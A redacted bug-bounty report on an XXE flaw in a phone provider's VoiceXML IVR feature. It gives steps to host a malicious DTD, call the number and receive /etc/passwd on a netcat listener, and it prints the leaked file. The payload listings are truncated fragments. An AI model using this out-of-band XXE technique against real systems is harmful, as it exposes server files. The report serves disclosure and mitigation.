| Summary | |--| > ████ is vulnerable to XXE due to the processing of DTDs | Description | |--| > *"VoiceXML (VXML) is a digital document standard for specifying interactive media and voice dialogs between humans and computers. It is used for developing audio and voice response applications"* > When a user purchases a phone number through █████, they are given an option to forward inbound calls to an Interactive Voice Response (IVR) script (containing VoiceXML". > An attacker can create a VoiceXML file containing DTD's and the IVR system will process the entities. | Reproduction Steps | | -- | 1.) Save the following files to your server in the web root: - _**payload.vxml**_: ``` %asd; %rrr;]> ``` - _**lol.xml**_: ``` ">%c; ``` 1.) Visit `https://dashboard.█████.com/your-numbers` 2.) Click "Edit" on a phone number. 3.) Go down to Voice and click "Forward to VoiceXML" and set the script URL to your malicious VXML file: (https://example.com/payload.vxml) 4.) Start a `netcat` listener and call that number: The IVR system will process the entities and send you the contents of `/etc/passwd` on port 1337: ``` root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin abrt:x:173:173::/etc/abrt:/sbin/nologin haldaemon:x:68:68:HAL daemon:/:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin tcpdump:x:72:72::/:/sbin/nologin apache:x:48:48:Apache:/var/www:/sbin/nologin nscd:x:28:28:NSCD Daemon:/:/sbin/nologin nslcd:x:65:55:LDAP Client User:/:/sbin/nologin puppet:x:52:52:Puppet:/var/lib/puppet:/sbin/nologin logstash:x:498:499:logstash:/opt/logstash:/sbin/nologin nagios:x:497:498::/var/spool/nagios:/sbin/nologin nrpe:x:496:497:NRPE user for the NRPE service:/var/run/nrpe:/sbin/nologin rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin unbound:x:495:496:Unbound DNS resolver:/etc/unbound:/sbin/nologin consul:x:494:495:Hashicorp consul.io:/opt/consul:/bin/false ``` | Proof-of-Concept Video: | |--| Here is a proof-of-concept of me getting `/etc/issue`: https://youtu.be/RbIB50R6IQA | Mitigation: | |--| The suggested mitigation was to disable entities or move from Voice XML to JSON for their Text-to-Speech API's. |Outro:| |--| This is probably the most fun bug I've found thus far, I had fun finding it - I hope you had fun reading about it!
